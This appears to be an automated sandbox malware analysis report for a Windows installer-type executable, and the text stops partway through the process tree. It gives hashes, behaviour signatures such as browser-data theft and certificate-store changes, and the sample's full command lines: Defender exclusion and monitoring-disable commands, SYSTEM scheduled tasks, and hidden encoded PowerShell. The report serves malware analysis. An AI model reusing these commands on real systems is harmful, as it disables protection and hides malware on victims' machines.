Analysis

  • max time kernel
    204s
  • max time network
    234s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    25-04-2024 02:41

General

  • Target

    65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe

  • Size

    6.4MB

  • MD5

    48083f28a764d552c591874ec8255897

  • SHA1

    6a6f73d45aa90f751c47ba886dda6c0f8c7a440a

  • SHA256

    65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585

  • SHA512

    f62312f2ed7db1f98c04985135c75d46d86482f2a1c7e457cbe003b35c5d20065eb960fe9a7a0d535380c6cf4cef48ac0f4fbd46b449c4a470ee6e8ba88559ab

  • SSDEEP

    98304:91Ofp2zjJY231tFaCYTlZE1JLFSNGw6eJm5JeHxFKw7/X26jOnCB9XmtPtX4S8Bl:91Oh2zjVpYD8vDwJmaHxbS2Os9qP0eEn

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Windows security bypass 2 TTPs 40 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops file in System32 directory 30 IoCs
  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 63 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe
    "C:\Users\Admin\AppData\Local\Temp\65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Users\Admin\AppData\Local\Temp\7zS1A16.tmp\Install.exe
      .\Install.exe /Bmdideu "525403" /S
      2⤵
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2592
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2476
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2496
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bwrroZoeZRoQVpyAcj" /SC once /ST 02:42:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\cJUtoHq.exe\" ZO /SMsite_idXzr 525403 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:2488
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {956C44CF-0AEA-4899-9131-F504CD8EC1B3} S-1-5-18:NT AUTHORITY\System:Service:
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2724
    • C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\cJUtoHq.exe
      C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\cJUtoHq.exe ZO /SMsite_idXzr 525403 /S
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:2336
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "goxrcMyIJ" /SC once /ST 00:48:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        3⤵
        • Creates scheduled task(s)
        PID:2816
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /run /I /tn "goxrcMyIJ"
        3⤵
          PID:1904
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /DELETE /F /TN "goxrcMyIJ"
          3⤵
            PID:472
          • C:\Windows\SysWOW64\cmd.exe
            cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
            3⤵
              PID:576
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:1668
            • C:\Windows\SysWOW64\cmd.exe
              cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
              3⤵
                PID:2408
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                  4⤵
                  • Modifies Windows Defender Real-time Protection settings
                  PID:1284
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /CREATE /TN "gIqCjxBIZ" /SC once /ST 01:08:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                3⤵
                • Creates scheduled task(s)
                PID:1076
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /run /I /tn "gIqCjxBIZ"
                3⤵
                  PID:1044
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /DELETE /F /TN "gIqCjxBIZ"
                  3⤵
                    PID:2076
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                    3⤵
                      PID:1684
                      • C:\Windows\SysWOW64\cmd.exe
                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                        4⤵
                          PID:1664
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                            5⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2096
                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                              6⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2372
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:32
                        3⤵
                          PID:2656
                          • C:\Windows\SysWOW64\reg.exe
                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:32
                            4⤵
                            • Windows security bypass
                            PID:2068
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:64
                          3⤵
                            PID:2268
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:64
                              4⤵
                              • Windows security bypass
                              PID:2628
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:32
                            3⤵
                              PID:2996
                              • C:\Windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:32
                                4⤵
                                  PID:2060
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:64
                                3⤵
                                  PID:2036
                                  • C:\Windows\SysWOW64\reg.exe
                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:64
                                    4⤵
                                      PID:2876
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /C copy nul "C:\Windows\Temp\heXdjphsLYtTYYrU\wHxMNpVA\fCsyGXOGeyHtGQIc.wsf"
                                    3⤵
                                      PID:2684
                                    • C:\Windows\SysWOW64\wscript.exe
                                      wscript "C:\Windows\Temp\heXdjphsLYtTYYrU\wHxMNpVA\fCsyGXOGeyHtGQIc.wsf"
                                      3⤵
                                      • Modifies data under HKEY_USERS
                                      PID:1420
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2940
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2780
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:772
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2512
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2032
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2968
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1592
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1740
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2652
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1100
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1332
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2864
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:952
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:964
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2904
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2564
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2332
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2708
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                          PID:3044
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:64
                                          4⤵
                                            PID:812
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:32
                                            4⤵
                                              PID:1652
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:64
                                              4⤵
                                                PID:1660
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:32
                                                4⤵
                                                  PID:240
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:64
                                                  4⤵
                                                    PID:1080
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:32
                                                    4⤵
                                                      PID:1140
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:64
                                                      4⤵
                                                        PID:852
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:32
                                                        4⤵
                                                          PID:1044
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:64
                                                          4⤵
                                                            PID:1612
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:32
                                                            4⤵
                                                              PID:2004
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:64
                                                              4⤵
                                                                PID:856
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                4⤵
                                                                  PID:1648
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                  4⤵
                                                                    PID:2160
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:1640
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:64
                                                                      4⤵
                                                                        PID:704
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:32
                                                                        4⤵
                                                                          PID:1472
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:64
                                                                          4⤵
                                                                            PID:652
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /CREATE /TN "gQqUtZbpZ" /SC once /ST 01:59:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                          3⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:1692
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /run /I /tn "gQqUtZbpZ"
                                                                          3⤵
                                                                            PID:1920
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /DELETE /F /TN "gQqUtZbpZ"
                                                                            3⤵
                                                                              PID:2492
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                              3⤵
                                                                                PID:2632
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                  4⤵
                                                                                    PID:2584
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                  3⤵
                                                                                    PID:2476
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                      4⤵
                                                                                        PID:2600
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /CREATE /TN "qXnxKrbPbFSTFetyh" /SC once /ST 01:25:54 /RU "SYSTEM" /TR "\"C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\NltQOYk.exe\" ob /Fgsite_idfna 525403 /S" /V1 /F
                                                                                      3⤵
                                                                                      • Drops file in Windows directory
                                                                                      • Creates scheduled task(s)
                                                                                      PID:2616
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /run /I /tn "qXnxKrbPbFSTFetyh"
                                                                                      3⤵
                                                                                        PID:2480
                                                                                    • C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\NltQOYk.exe
                                                                                      C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\NltQOYk.exe ob /Fgsite_idfna 525403 /S
                                                                                      2⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Drops Chrome extension
                                                                                      • Drops file in System32 directory
                                                                                      • Drops file in Program Files directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Modifies system certificate store
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:2488
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /DELETE /F /TN "bwrroZoeZRoQVpyAcj"
                                                                                        3⤵
                                                                                          PID:2172
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                          3⤵
                                                                                            PID:3028
                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                              4⤵
                                                                                                PID:2968
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                  5⤵
                                                                                                    PID:2152
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                      6⤵
                                                                                                      • Drops file in System32 directory
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1148
                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                        7⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:3052
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
                                                                                                  4⤵
                                                                                                    PID:2456
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                      5⤵
                                                                                                        PID:2956
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
